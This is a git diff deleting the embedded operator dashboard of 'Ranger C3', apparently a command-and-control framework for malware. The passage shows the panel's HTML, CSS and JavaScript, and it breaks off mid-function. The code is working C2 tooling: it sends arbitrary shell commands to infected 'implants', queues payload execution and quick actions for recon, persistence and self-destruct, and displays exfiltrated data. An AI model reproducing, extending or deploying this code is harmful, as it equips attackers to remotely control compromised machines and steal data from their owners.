mirror of
https://git.churchofmalware.org/ek0mssavi0r/Ranger-C3
synced 2026-09-24 08:34:47 +00:00
Delete directory 'internal'
This commit is contained in:
@@ -1,976 +0,0 @@
|
||||
package api
|
||||
|
||||
// dashboardHTML is the operator dashboard embedded in the binary.
|
||||
const dashboardHTML = `<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>Ranger C3 v3</title>
|
||||
<style>
|
||||
* { margin: 0; padding: 0; box-sizing: border-box; }
|
||||
body { background: #0a0a0a; color: #c0c0c0; font-family: 'Courier New', 'Consolas', monospace; overflow: hidden; height: 100vh; }
|
||||
|
||||
/* Layout */
|
||||
.app-layout { display: flex; height: 100vh; }
|
||||
.sidebar { width: 200px; background: #0d0d0d; border-right: 1px solid #1a3a1a; display: flex; flex-direction: column; flex-shrink: 0; }
|
||||
.sidebar-header { padding: 18px 16px 12px; border-bottom: 1px solid #1a3a1a; }
|
||||
.sidebar-header h1 { color: #00ff41; font-size: 14px; font-weight: normal; letter-spacing: 3px; text-transform: uppercase; }
|
||||
.sidebar-header .c2id { color: #444; font-size: 9px; margin-top: 4px; word-break: break-all; }
|
||||
.sidebar-nav { flex: 1; padding: 8px 0; }
|
||||
.nav-item { padding: 10px 16px; cursor: pointer; font-size: 11px; color: #666; letter-spacing: 1px; border-left: 2px solid transparent; transition: all 0.15s; text-transform: uppercase; display: flex; align-items: center; gap: 8px; }
|
||||
.nav-item:hover { color: #00ff41; background: #111; }
|
||||
.nav-item.active { color: #00ff41; border-left-color: #00ff41; background: #0d1a0d; }
|
||||
.nav-item .nav-badge { margin-left: auto; background: #1a3a1a; color: #00ff41; font-size: 9px; padding: 1px 6px; border-radius: 0; }
|
||||
.sidebar-footer { padding: 12px 16px; border-top: 1px solid #1a3a1a; }
|
||||
.sidebar-footer button { background: transparent; border: 1px solid #333; color: #555; padding: 6px 12px; cursor: pointer; font-family: 'Courier New', monospace; font-size: 10px; width: 100%; letter-spacing: 1px; }
|
||||
.sidebar-footer button:hover { border-color: #00ff41; color: #00ff41; }
|
||||
|
||||
.main-area { flex: 1; overflow-y: auto; padding: 0; display: flex; flex-direction: column; }
|
||||
|
||||
/* Top bar */
|
||||
.top-bar { background: #0d0d0d; border-bottom: 1px solid #1a3a1a; padding: 10px 20px; display: flex; gap: 24px; font-size: 10px; align-items: center; flex-wrap: wrap; }
|
||||
.top-bar-item { color: #555; }
|
||||
.top-bar-item .tbv { color: #00ff41; margin-left: 4px; }
|
||||
.top-bar-right { margin-left: auto; display: flex; gap: 16px; align-items: center; }
|
||||
.conn-status { display: inline-block; width: 6px; height: 6px; border-radius: 0; }
|
||||
.conn-status.online { background: #00ff41; }
|
||||
.conn-status.offline { background: #444; }
|
||||
.clock { color: #444; font-size: 10px; }
|
||||
|
||||
/* Content */
|
||||
.content { padding: 20px; flex: 1; }
|
||||
|
||||
/* Login */
|
||||
.login-screen { max-width: 380px; margin: 120px auto; text-align: center; }
|
||||
.login-screen .login-logo { color: #00ff41; font-size: 20px; letter-spacing: 5px; margin-bottom: 8px; text-transform: uppercase; }
|
||||
.login-screen .login-sub { color: #444; font-size: 10px; margin-bottom: 28px; letter-spacing: 2px; }
|
||||
.login-screen input[type=password] { background: #111; border: 1px solid #1a3a1a; color: #c0c0c0; padding: 12px; width: 100%; margin-bottom: 12px; font-family: 'Courier New', monospace; font-size: 13px; outline: none; text-align: center; }
|
||||
.login-screen input[type=password]:focus { border-color: #00ff41; }
|
||||
.login-screen button { background: transparent; border: 1px solid #00ff41; color: #00ff41; padding: 10px 40px; cursor: pointer; font-family: 'Courier New', monospace; font-size: 12px; letter-spacing: 2px; }
|
||||
.login-screen button:hover { background: #00ff41; color: #000; }
|
||||
.login-screen .login-error { color: #ff4444; margin-top: 14px; font-size: 11px; }
|
||||
.login-screen .login-spinner { margin-top: 14px; color: #555; font-size: 11px; }
|
||||
|
||||
/* Section headers */
|
||||
.section-header { display: flex; justify-content: space-between; align-items: center; margin-bottom: 16px; }
|
||||
.section-header h2 { color: #00ff41; font-size: 13px; font-weight: normal; letter-spacing: 2px; text-transform: uppercase; }
|
||||
.section-header .section-actions { display: flex; gap: 8px; align-items: center; }
|
||||
|
||||
/* Search / Filter */
|
||||
.search-box { background: #111; border: 1px solid #1a3a1a; color: #c0c0c0; padding: 7px 10px; font-family: 'Courier New', monospace; font-size: 11px; width: 220px; outline: none; }
|
||||
.search-box:focus { border-color: #00ff41; }
|
||||
.filter-select { background: #111; border: 1px solid #1a3a1a; color: #aaa; padding: 7px 10px; font-family: 'Courier New', monospace; font-size: 11px; outline: none; cursor: pointer; }
|
||||
.filter-select:focus { border-color: #00ff41; }
|
||||
|
||||
/* Tables */
|
||||
.table-wrap { overflow-x: auto; }
|
||||
table { width: 100%; border-collapse: collapse; }
|
||||
th, td { border: 1px solid #1a3a1a; padding: 8px 10px; text-align: left; font-size: 11px; }
|
||||
th { background: #111; color: #00ff41; letter-spacing: 1px; font-weight: normal; white-space: nowrap; }
|
||||
td { color: #aaa; }
|
||||
tr { transition: background 0.1s; }
|
||||
tr:hover td { background: #121212; }
|
||||
tr.clickable { cursor: pointer; }
|
||||
tr.clickable:hover td { background: #0d1a0d; }
|
||||
.empty-row td { text-align: center; color: #444; padding: 30px; font-size: 11px; letter-spacing: 1px; }
|
||||
|
||||
/* Badges */
|
||||
.badge { display: inline-block; padding: 1px 6px; font-size: 9px; letter-spacing: 1px; }
|
||||
.badge-green { color: #00ff41; border: 1px solid #1a3a1a; }
|
||||
.badge-red { color: #ff4444; border: 1px solid #3a1a1a; }
|
||||
.badge-yellow { color: #ffaa00; border: 1px solid #3a2a00; }
|
||||
.badge-gray { color: #555; border: 1px solid #222; }
|
||||
.badge-blue { color: #44aaff; border: 1px solid #1a2a3a; }
|
||||
|
||||
/* Buttons */
|
||||
.btn { background: transparent; border: 1px solid #1a3a1a; color: #00ff41; padding: 6px 14px; cursor: pointer; font-family: 'Courier New', monospace; font-size: 10px; letter-spacing: 1px; transition: all 0.1s; white-space: nowrap; }
|
||||
.btn:hover { background: #00ff41; color: #000; border-color: #00ff41; }
|
||||
.btn-sm { padding: 4px 10px; font-size: 9px; }
|
||||
.btn-danger { border-color: #3a1a1a; color: #ff4444; }
|
||||
.btn-danger:hover { background: #ff4444; color: #000; border-color: #ff4444; }
|
||||
.btn-ghost { border-color: transparent; color: #555; }
|
||||
.btn-ghost:hover { border-color: #333; color: #aaa; }
|
||||
.btn:disabled { opacity: 0.3; cursor: not-allowed; }
|
||||
.btn-group { display: flex; gap: 6px; flex-wrap: wrap; }
|
||||
|
||||
/* Stats grid */
|
||||
.stats-grid { display: grid; grid-template-columns: repeat(auto-fill, minmax(140px, 1fr)); gap: 10px; margin-bottom: 20px; }
|
||||
.stat-card { background: #111; border: 1px solid #1a3a1a; padding: 12px 14px; }
|
||||
.stat-card .stat-label { color: #555; font-size: 9px; text-transform: uppercase; letter-spacing: 1px; }
|
||||
.stat-card .stat-value { color: #00ff41; font-size: 18px; margin-top: 3px; }
|
||||
.stat-card .stat-sub { color: #444; font-size: 9px; margin-top: 2px; }
|
||||
|
||||
/* Cards */
|
||||
.card { background: #111; border: 1px solid #1a3a1a; margin-bottom: 16px; }
|
||||
.card-header { padding: 10px 14px; border-bottom: 1px solid #1a3a1a; display: flex; justify-content: space-between; align-items: center; }
|
||||
.card-header h3 { color: #00ff41; font-size: 11px; font-weight: normal; letter-spacing: 1px; text-transform: uppercase; }
|
||||
.card-body { padding: 14px; }
|
||||
|
||||
/* Shell */
|
||||
.shell-output { background: #080808; border: 1px solid #1a3a1a; padding: 12px; overflow-x: auto; max-height: 300px; overflow-y: auto; font-size: 11px; line-height: 1.6; margin-bottom: 10px; }
|
||||
.shell-output .shell-line { color: #aaa; white-space: pre-wrap; word-break: break-all; }
|
||||
.shell-output .shell-line.input { color: #00ff41; }
|
||||
.shell-output .shell-line.output { color: #c0c0c0; }
|
||||
.shell-output .shell-line.error { color: #ff4444; }
|
||||
.shell-output .shell-prompt { color: #00ff41; }
|
||||
.shell-input-row { display: flex; gap: 8px; }
|
||||
.shell-input-row input { flex: 1; background: #111; border: 1px solid #1a3a1a; color: #00ff41; padding: 8px 10px; font-family: 'Courier New', monospace; font-size: 12px; outline: none; }
|
||||
.shell-input-row input:focus { border-color: #00ff41; }
|
||||
.shell-input-row input::placeholder { color: #333; }
|
||||
|
||||
/* Tabs within detail */
|
||||
.detail-tabs { display: flex; gap: 0; margin-bottom: 16px; border-bottom: 1px solid #1a3a1a; }
|
||||
.detail-tab { padding: 8px 18px; cursor: pointer; font-family: 'Courier New', monospace; font-size: 11px; color: #555; border-bottom: 1px solid transparent; margin-bottom: -1px; letter-spacing: 1px; }
|
||||
.detail-tab:hover { color: #aaa; }
|
||||
.detail-tab.active { color: #00ff41; border-bottom-color: #00ff41; }
|
||||
.detail-panel { display: none; }
|
||||
.detail-panel.active { display: block; }
|
||||
|
||||
/* Payload run form */
|
||||
.payload-form { display: flex; gap: 8px; align-items: center; flex-wrap: wrap; }
|
||||
.payload-form select { background: #111; border: 1px solid #1a3a1a; color: #aaa; padding: 7px 10px; font-family: 'Courier New', monospace; font-size: 11px; outline: none; min-width: 160px; }
|
||||
.payload-form select:focus { border-color: #00ff41; }
|
||||
.payload-form input[type=text] { background: #111; border: 1px solid #1a3a1a; color: #c0c0c0; padding: 7px 10px; font-family: 'Courier New', monospace; font-size: 11px; outline: none; min-width: 180px; }
|
||||
.payload-form input[type=text]:focus { border-color: #00ff41; }
|
||||
|
||||
/* Key-value pairs */
|
||||
.kv-list { display: grid; grid-template-columns: auto 1fr; gap: 6px 16px; font-size: 11px; }
|
||||
.kv-list .kv-key { color: #555; letter-spacing: 1px; white-space: nowrap; }
|
||||
.kv-list .kv-val { color: #aaa; word-break: break-all; }
|
||||
.kv-list .kv-val.green { color: #00ff41; }
|
||||
|
||||
/* Back link */
|
||||
.back-link { color: #555; font-size: 11px; cursor: pointer; display: inline-block; margin-bottom: 14px; letter-spacing: 1px; }
|
||||
.back-link:hover { color: #00ff41; }
|
||||
|
||||
/* Loading */
|
||||
.loading { text-align: center; padding: 40px; color: #444; font-size: 11px; letter-spacing: 2px; }
|
||||
.loading-dots::after { content: ' ...'; }
|
||||
@keyframes blink { 50% { opacity: 0; } }
|
||||
.loading-dots { animation: blink 1.5s step-end infinite; }
|
||||
|
||||
/* Modal overlay */
|
||||
.modal-overlay { position: fixed; top: 0; left: 0; right: 0; bottom: 0; background: rgba(0,0,0,0.85); display: flex; align-items: center; justify-content: center; z-index: 1000; }
|
||||
.modal { background: #0d0d0d; border: 1px solid #1a3a1a; max-width: 500px; width: 90%; max-height: 80vh; overflow-y: auto; }
|
||||
.modal-header { padding: 12px 16px; border-bottom: 1px solid #1a3a1a; display: flex; justify-content: space-between; align-items: center; }
|
||||
.modal-header h3 { color: #00ff41; font-size: 12px; font-weight: normal; letter-spacing: 2px; }
|
||||
.modal-close { background: none; border: none; color: #555; cursor: pointer; font-size: 16px; font-family: 'Courier New', monospace; }
|
||||
.modal-close:hover { color: #ff4444; }
|
||||
.modal-body { padding: 16px; }
|
||||
.modal-body label { display: block; color: #666; font-size: 10px; letter-spacing: 1px; margin-bottom: 4px; margin-top: 12px; }
|
||||
.modal-body label:first-child { margin-top: 0; }
|
||||
.modal-body input, .modal-body textarea, .modal-body select { background: #111; border: 1px solid #1a3a1a; color: #c0c0c0; padding: 8px; width: 100%; font-family: 'Courier New', monospace; font-size: 11px; outline: none; }
|
||||
.modal-body input:focus, .modal-body textarea:focus, .modal-body select:focus { border-color: #00ff41; }
|
||||
.modal-body textarea { min-height: 80px; resize: vertical; }
|
||||
.modal-footer { padding: 12px 16px; border-top: 1px solid #1a3a1a; display: flex; justify-content: flex-end; gap: 8px; }
|
||||
|
||||
/* Task log */
|
||||
.task-log { max-height: 500px; overflow-y: auto; }
|
||||
.task-entry { padding: 6px 0; border-bottom: 1px solid #111; font-size: 10px; display: flex; gap: 10px; }
|
||||
.task-entry:last-child { border-bottom: none; }
|
||||
.task-entry .task-time { color: #444; white-space: nowrap; }
|
||||
.task-entry .task-type { color: #44aaff; }
|
||||
.task-entry .task-id { color: #333; }
|
||||
.task-entry .task-status { margin-left: auto; }
|
||||
.status-pending { color: #ffaa00; }
|
||||
.status-delivered { color: #44aaff; }
|
||||
.status-completed { color: #00ff41; }
|
||||
.status-failed { color: #ff4444; }
|
||||
|
||||
/* Toast notification */
|
||||
.toast { position: fixed; bottom: 20px; right: 20px; background: #111; border: 1px solid #1a3a1a; padding: 10px 16px; font-size: 11px; color: #c0c0c0; z-index: 2000; max-width: 360px; transition: opacity 0.3s; }
|
||||
.toast.success { border-left: 2px solid #00ff41; }
|
||||
.toast.error { border-left: 2px solid #ff4444; }
|
||||
|
||||
/* Exfil items */
|
||||
.exfil-item { padding: 8px 12px; border: 1px solid #1a3a1a; margin-bottom: 6px; font-size: 10px; display: flex; justify-content: space-between; align-items: center; }
|
||||
.exfil-item .exfil-meta { color: #555; }
|
||||
.exfil-item .exfil-meta span { margin-right: 12px; }
|
||||
|
||||
/* Scrollbar */
|
||||
::-webkit-scrollbar { width: 6px; height: 6px; }
|
||||
::-webkit-scrollbar-track { background: #0a0a0a; }
|
||||
::-webkit-scrollbar-thumb { background: #1a3a1a; }
|
||||
::-webkit-scrollbar-thumb:hover { background: #2a4a2a; }
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div id="app"></div>
|
||||
<script>
|
||||
(function() {
|
||||
var API = '';
|
||||
var token = localStorage.getItem('token');
|
||||
var currentView = 'implants';
|
||||
var selectedImplantId = null;
|
||||
var implantsCache = [];
|
||||
var peersCache = [];
|
||||
var payloadsCache = [];
|
||||
var configCache = {};
|
||||
var refreshTimer = null;
|
||||
var shellHistory = {};
|
||||
var toastTimer = null;
|
||||
|
||||
// ---- HTTP helpers ----
|
||||
|
||||
function headers() {
|
||||
return {
|
||||
'Authorization': 'Bearer ' + token,
|
||||
'Content-Type': 'application/json'
|
||||
};
|
||||
}
|
||||
|
||||
function api(path) {
|
||||
return fetch(API + path, {headers: headers()}).then(function(r) { return r.json(); });
|
||||
}
|
||||
|
||||
function apiRaw(path) {
|
||||
return fetch(API + path, {headers: headers()}).then(function(r) { return r.text(); });
|
||||
}
|
||||
|
||||
function post(path, body) {
|
||||
return fetch(API + path, {
|
||||
method: 'POST',
|
||||
headers: headers(),
|
||||
body: JSON.stringify(body || {})
|
||||
}).then(function(r) { return r.json(); });
|
||||
}
|
||||
|
||||
// ---- Toast ----
|
||||
|
||||
function toast(msg, type) {
|
||||
type = type || 'success';
|
||||
var el = document.getElementById('toast');
|
||||
if (!el) {
|
||||
el = document.createElement('div');
|
||||
el.id = 'toast';
|
||||
el.className = 'toast';
|
||||
document.body.appendChild(el);
|
||||
}
|
||||
el.className = 'toast ' + type;
|
||||
el.textContent = msg;
|
||||
el.style.opacity = '1';
|
||||
if (toastTimer) clearTimeout(toastTimer);
|
||||
toastTimer = setTimeout(function() { el.style.opacity = '0'; }, 4000);
|
||||
}
|
||||
|
||||
// ---- Auth ----
|
||||
|
||||
function login() {
|
||||
var pw = document.getElementById('login-pw').value;
|
||||
fetch(API + '/api/dashboard/login', {
|
||||
method: 'POST',
|
||||
headers: {'Content-Type': 'application/json'},
|
||||
body: JSON.stringify({password: pw})
|
||||
}).then(function(r) { return r.json(); }).then(function(data) {
|
||||
if (data.token) {
|
||||
token = data.token;
|
||||
localStorage.setItem('token', token);
|
||||
render();
|
||||
} else {
|
||||
document.getElementById('login-error').textContent = 'invalid credentials';
|
||||
}
|
||||
}).catch(function() {
|
||||
document.getElementById('login-error').textContent = 'connection error';
|
||||
});
|
||||
}
|
||||
|
||||
function logout() {
|
||||
token = null;
|
||||
localStorage.removeItem('token');
|
||||
selectedImplantId = null;
|
||||
render();
|
||||
}
|
||||
|
||||
// ---- Navigation ----
|
||||
|
||||
function navigate(view) {
|
||||
currentView = view;
|
||||
selectedImplantId = null;
|
||||
render();
|
||||
}
|
||||
|
||||
function showImplantDetail(id) {
|
||||
selectedImplantId = id;
|
||||
currentView = 'implant-detail';
|
||||
render();
|
||||
}
|
||||
|
||||
function backToImplants() {
|
||||
selectedImplantId = null;
|
||||
currentView = 'implants';
|
||||
render();
|
||||
}
|
||||
|
||||
// ---- Time helpers ----
|
||||
|
||||
function ago(ts) {
|
||||
if (!ts) return 'never';
|
||||
var d = new Date(ts);
|
||||
var diff = (Date.now() - d.getTime()) / 1000;
|
||||
if (diff < 60) return Math.round(diff) + 's ago';
|
||||
if (diff < 3600) return Math.round(diff/60) + 'm ago';
|
||||
if (diff < 86400) return Math.round(diff/3600) + 'h ago';
|
||||
return Math.round(diff/86400) + 'd ago';
|
||||
}
|
||||
|
||||
function fmtTime(ts) {
|
||||
if (!ts) return '-';
|
||||
var d = new Date(ts);
|
||||
return d.toLocaleString();
|
||||
}
|
||||
|
||||
function fmtTimeShort(ts) {
|
||||
if (!ts) return '-';
|
||||
var d = new Date(ts);
|
||||
return d.toLocaleTimeString();
|
||||
}
|
||||
|
||||
function pad(n) { return n < 10 ? '0' + n : '' + n; }
|
||||
|
||||
function updateClock() {
|
||||
var el = document.getElementById('clock');
|
||||
if (el) {
|
||||
var d = new Date();
|
||||
el.textContent = d.getUTCFullYear() + '-' + pad(d.getUTCMonth()+1) + '-' + pad(d.getUTCDate()) + 'T' + pad(d.getUTCHours()) + ':' + pad(d.getUTCMinutes()) + ':' + pad(d.getUTCSeconds()) + 'Z';
|
||||
}
|
||||
}
|
||||
|
||||
// ---- Implant actions ----
|
||||
|
||||
function sendShellCommand(implantId) {
|
||||
var input = document.getElementById('shell-input');
|
||||
var cmd = input ? input.value.trim() : '';
|
||||
if (!cmd) return;
|
||||
|
||||
// Optimistic update to shell output
|
||||
var output = document.getElementById('shell-output');
|
||||
if (output) {
|
||||
output.innerHTML = output.innerHTML + '<div class="shell-line input"><span class="shell-prompt">$ </span>' + escHtml(cmd) + '</div>';
|
||||
output.innerHTML = output.innerHTML + '<div class="shell-line output">[task queued, waiting for implant check-in...]</div>';
|
||||
output.scrollTop = output.scrollHeight;
|
||||
}
|
||||
input.value = '';
|
||||
|
||||
post('/api/dashboard/task', {
|
||||
implant_id: implantId,
|
||||
type: 'shell',
|
||||
payload: {command: cmd},
|
||||
channel: 'primary'
|
||||
}).then(function(data) {
|
||||
if (data.success) {
|
||||
toast('shell task queued: ' + data.task_id);
|
||||
} else {
|
||||
toast('error queuing shell task', 'error');
|
||||
}
|
||||
}).catch(function() {
|
||||
toast('connection error', 'error');
|
||||
});
|
||||
}
|
||||
|
||||
function sendCustomTask(implantId) {
|
||||
var taskType = document.getElementById('custom-task-type').value;
|
||||
var taskPayload = document.getElementById('custom-task-payload').value;
|
||||
if (!taskType) { toast('enter a task type', 'error'); return; }
|
||||
|
||||
var payload = {};
|
||||
try {
|
||||
payload = taskPayload ? JSON.parse(taskPayload) : {};
|
||||
} catch(e) {
|
||||
toast('invalid JSON payload', 'error');
|
||||
return;
|
||||
}
|
||||
|
||||
post('/api/dashboard/task', {
|
||||
implant_id: implantId,
|
||||
type: taskType,
|
||||
payload: payload,
|
||||
channel: 'primary'
|
||||
}).then(function(data) {
|
||||
if (data.success) {
|
||||
toast('custom task queued: ' + data.task_id);
|
||||
} else {
|
||||
toast('error queuing task', 'error');
|
||||
}
|
||||
}).catch(function() {
|
||||
toast('connection error', 'error');
|
||||
});
|
||||
}
|
||||
|
||||
function runPayload(implantId, payloadName, payloadArgs) {
|
||||
var args = payloadArgs || '';
|
||||
var parsedArgs = {};
|
||||
if (args) {
|
||||
try { parsedArgs = JSON.parse(args); } catch(e) { parsedArgs = {args: args}; }
|
||||
}
|
||||
|
||||
post('/api/dashboard/task', {
|
||||
implant_id: implantId,
|
||||
type: 'exec',
|
||||
payload: {payload: payloadName, args: parsedArgs},
|
||||
channel: 'primary'
|
||||
}).then(function(data) {
|
||||
if (data.success) {
|
||||
toast('payload task queued: ' + data.task_id);
|
||||
} else {
|
||||
toast('error', 'error');
|
||||
}
|
||||
}).catch(function() {
|
||||
toast('connection error', 'error');
|
||||
});
|
||||
}
|
||||
|
||||
function quickAction(implantId, action) {
|
||||
var payloads = {
|
||||
'recon': {command: 'whoami && hostname && ip addr'},
|
||||
'screenshot': {command: 'screenshot'},
|
||||
'sleep30': {command: 'sleep 30'},
|
||||
'persist': {command: 'persist'},
|
||||
'selfdestruct': {command: 'selfdestruct'}
|
||||
};
|
||||
var p = payloads[action] || {command: action};
|
||||
|
||||
post('/api/dashboard/task', {
|
||||
implant_id: implantId,
|
||||
type: 'shell',
|
||||
payload: p,
|
||||
channel: 'primary'
|
||||
}).then(function(data) {
|
||||
if (data.success) {
|
||||
toast('action queued: ' + action);
|
||||
} else {
|
||||
toast('error', 'error');
|
||||
}
|
||||
}).catch(function() {
|
||||
toast('connection error', 'error');
|
||||
});
|
||||
}
|
||||
|
||||
// ---- Exfil modal ----
|
||||
|
||||
function showExfilModal(implantId) {
|
||||
var overlay = document.createElement('div');
|
||||
overlay.className = 'modal-overlay';
|
||||
overlay.innerHTML = '<div class="modal"><div class="modal-header"><h3>Exfil Data : ' + escHtml(implantId.substring(0,12)) + '</h3><button class="modal-close" onclick="this.parentElement.parentElement.parentElement.remove()">x</button></div><div class="modal-body"><div class="loading">fetching...</div></div></div>';
|
||||
document.body.appendChild(overlay);
|
||||
overlay.addEventListener('click', function(e) { if (e.target === overlay) overlay.remove(); });
|
||||
|
||||
api('/api/dashboard/exfil/' + implantId).then(function(data) {
|
||||
var body = overlay.querySelector('.modal-body');
|
||||
if (!data.success) {
|
||||
body.innerHTML = '<p style="color:#444">no exfil data available</p>';
|
||||
return;
|
||||
}
|
||||
body.innerHTML = '<p style="color:#555;font-size:11px">implant: ' + escHtml(data.implant || implantId) + '</p><p style="color:#555;font-size:11px">' + escHtml(data.message || 'exfil endpoint active') + '</p><div style="margin-top:12px"><pre style="background:#080808;border:1px solid #1a3a1a;padding:10px;font-size:10px;overflow-x:auto">' + escHtml(JSON.stringify(data, null, 2)) + '</pre></div>';
|
||||
}).catch(function() {
|
||||
var body = overlay.querySelector('.modal-body');
|
||||
body.innerHTML = '<p style="color:#ff4444">failed to fetch exfil data</p>';
|
||||
});
|
||||
}
|
||||
|
||||
// ---- Escaping ----
|
||||
|
||||
function escHtml(s) {
|
||||
if (s == null) return '';
|
||||
return String(s).replace(/&/g,'&').replace(/</g,'<').replace(/>/g,'>').replace(/"/g,'"');
|
||||
}
|
||||
|
||||
// ---- Status helpers ----
|
||||
|
||||
function isOnline(lastSeen, thresholdMs) {
|
||||
if (!lastSeen) return false;
|
||||
thresholdMs = thresholdMs || 300000;
|
||||
return (Date.now() - new Date(lastSeen).getTime()) < thresholdMs;
|
||||
}
|
||||
|
||||
function statusBadge(online) {
|
||||
if (online) return '<span class="badge badge-green">ONLINE</span>';
|
||||
return '<span class="badge badge-gray">OFFLINE</span>';
|
||||
}
|
||||
|
||||
function flaggedBadge() {
|
||||
return '<span class="badge badge-red">FLAGGED</span>';
|
||||
}
|
||||
|
||||
// ============ RENDER ============
|
||||
|
||||
function render() {
|
||||
var app = document.getElementById('app');
|
||||
updateClock();
|
||||
|
||||
if (!token) {
|
||||
renderLogin(app);
|
||||
return;
|
||||
}
|
||||
|
||||
// Fetch all data then render
|
||||
Promise.all([
|
||||
api('/api/dashboard/config'),
|
||||
api('/api/dashboard/implants'),
|
||||
api('/api/dashboard/peers'),
|
||||
api('/api/dashboard/payloads')
|
||||
]).then(function(results) {
|
||||
configCache = results[0].config || {};
|
||||
implantsCache = results[1].implants || [];
|
||||
peersCache = results[2].peers || [];
|
||||
payloadsCache = results[3].payloads || [];
|
||||
renderMain(app);
|
||||
}).catch(function() {
|
||||
app.innerHTML = '<div class="login-screen"><div class="login-logo">connection lost</div><p style="color:#555;font-size:11px;margin:12px 0 20px">retrying automatically...</p><button onclick="render()">retry</button></div>';
|
||||
});
|
||||
|
||||
// Schedule auto-refresh
|
||||
if (refreshTimer) clearTimeout(refreshTimer);
|
||||
refreshTimer = setTimeout(render, 12000);
|
||||
|
||||
// Don't render twice if fetching
|
||||
if (!app.innerHTML) {
|
||||
app.innerHTML = '<div style="display:flex;height:100vh;align-items:center;justify-content:center"><span style="color:#333;letter-spacing:2px;font-size:12px">RANGER C3 <span class="loading-dots">loading</span></span></div>';
|
||||
}
|
||||
}
|
||||
|
||||
function renderLogin(app) {
|
||||
app.innerHTML = '<div class="login-screen">' +
|
||||
'<div class="login-logo">RANGER C3</div>' +
|
||||
'<div class="login-sub">v3.0.0 multi-node mesh c2</div>' +
|
||||
'<input type="password" id="login-pw" placeholder="access code" autofocus onkeydown="if(event.key==\'Enter\')login()">' +
|
||||
'<button onclick="login()">authenticate</button>' +
|
||||
'<div class="login-error" id="login-error"></div>' +
|
||||
'</div>';
|
||||
}
|
||||
|
||||
function renderMain(app) {
|
||||
var onlineCount = 0, dnsCount = 0, flaggedCount = 0;
|
||||
for (var i = 0; i < implantsCache.length; i++) {
|
||||
var im = implantsCache[i];
|
||||
if (isOnline(im.last_seen)) onlineCount++;
|
||||
if (im.dns_enabled) dnsCount++;
|
||||
if (im.flagged) flaggedCount++;
|
||||
}
|
||||
|
||||
var cfg = configCache;
|
||||
var contentHTML = '';
|
||||
var implantTitle = 'Implants (' + implantsCache.length + ')';
|
||||
|
||||
if (currentView === 'implant-detail' && selectedImplantId) {
|
||||
contentHTML = renderImplantDetail(selectedImplantId);
|
||||
implantTitle = 'Implant Detail';
|
||||
} else if (currentView === 'implants') {
|
||||
contentHTML = renderImplantList();
|
||||
} else if (currentView === 'peers') {
|
||||
contentHTML = renderPeers();
|
||||
} else if (currentView === 'payloads') {
|
||||
contentHTML = renderPayloads();
|
||||
} else {
|
||||
contentHTML = renderImplantList();
|
||||
currentView = 'implants';
|
||||
}
|
||||
|
||||
var navImplantsActive = (currentView === 'implants' || currentView === 'implant-detail') ? 'active' : '';
|
||||
var navPeersActive = (currentView === 'peers') ? 'active' : '';
|
||||
var navPayloadsActive = (currentView === 'payloads') ? 'active' : '';
|
||||
|
||||
app.innerHTML =
|
||||
'<div class="app-layout">' +
|
||||
' <div class="sidebar">' +
|
||||
' <div class="sidebar-header">' +
|
||||
' <h1>RANGER C3</h1>' +
|
||||
' <div class="c2id">' + escHtml(cfg.c2_id || 'standalone') + '</div>' +
|
||||
' </div>' +
|
||||
' <div class="sidebar-nav">' +
|
||||
' <div class="nav-item ' + navImplantsActive + '" onclick="navigate(\'implants\')">implants<div class="nav-badge">' + implantsCache.length + '</div></div>' +
|
||||
' <div class="nav-item ' + navPeersActive + '" onclick="navigate(\'peers\')">mesh peers<div class="nav-badge">' + peersCache.length + '</div></div>' +
|
||||
' <div class="nav-item ' + navPayloadsActive + '" onclick="navigate(\'payloads\')">payloads<div class="nav-badge">' + (payloadsCache.length||0) + '</div></div>' +
|
||||
' </div>' +
|
||||
' <div class="sidebar-footer">' +
|
||||
' <button onclick="logout()">disconnect</button>' +
|
||||
' </div>' +
|
||||
' </div>' +
|
||||
' <div class="main-area">' +
|
||||
' <div class="top-bar">' +
|
||||
' <div class="top-bar-item">version: <span class="tbv">' + escHtml(cfg.version || '?') + '</span></div>' +
|
||||
' <div class="top-bar-item">uptime: <span class="tbv">' + escHtml(cfg.uptime || '?') + '</span></div>' +
|
||||
' <div class="top-bar-item">implants: <span class="tbv">' + implantsCache.length + '</span></div>' +
|
||||
' <div class="top-bar-item">online: <span class="tbv">' + onlineCount + '</span></div>' +
|
||||
' <div class="top-bar-item"><span class="conn-status ' + (implantsCache.length > 0 ? 'online' : 'offline') + '"></span></div>' +
|
||||
' <div class="top-bar-right">' +
|
||||
' <span class="clock" id="clock"></span>' +
|
||||
' </div>' +
|
||||
' </div>' +
|
||||
' <div class="content">' +
|
||||
' <div class="section-header">' +
|
||||
' <h2>' + escHtml(implantTitle) + '</h2>' +
|
||||
' </div>' +
|
||||
contentHTML +
|
||||
' </div>' +
|
||||
' </div>' +
|
||||
'</div>';
|
||||
}
|
||||
|
||||
// ---- Implant List ----
|
||||
|
||||
function renderImplantList() {
|
||||
var search = '';
|
||||
var filter = '';
|
||||
if (window._impSearch) search = window._impSearch;
|
||||
if (window._impFilter) filter = window._impFilter;
|
||||
|
||||
var filtered = implantsCache;
|
||||
if (search) {
|
||||
var q = search.toLowerCase();
|
||||
filtered = filtered.filter(function(im) {
|
||||
return (im.id && im.id.toLowerCase().indexOf(q) >= 0) ||
|
||||
(im.hostname && im.hostname.toLowerCase().indexOf(q) >= 0) ||
|
||||
(im.type && im.type.toLowerCase().indexOf(q) >= 0) ||
|
||||
(im.target_proc && im.target_proc.toLowerCase().indexOf(q) >= 0);
|
||||
});
|
||||
}
|
||||
if (filter === 'online') {
|
||||
filtered = filtered.filter(function(im) { return isOnline(im.last_seen); });
|
||||
} else if (filter === 'offline') {
|
||||
filtered = filtered.filter(function(im) { return !isOnline(im.last_seen); });
|
||||
} else if (filter === 'flagged') {
|
||||
filtered = filtered.filter(function(im) { return im.flagged; });
|
||||
} else if (filter === 'dns') {
|
||||
filtered = filtered.filter(function(im) { return im.dns_enabled; });
|
||||
}
|
||||
|
||||
var rows = '';
|
||||
if (filtered.length === 0) {
|
||||
rows = '<tr class="empty-row"><td colspan="9">no implants match</td></tr>';
|
||||
} else {
|
||||
for (var i = 0; i < filtered.length; i++) {
|
||||
var im = filtered[i];
|
||||
var online = isOnline(im.last_seen);
|
||||
var rowClass = '';
|
||||
if (im.flagged) rowClass = 'flagged';
|
||||
else if (im.dns_enabled && !online) rowClass = 'dns';
|
||||
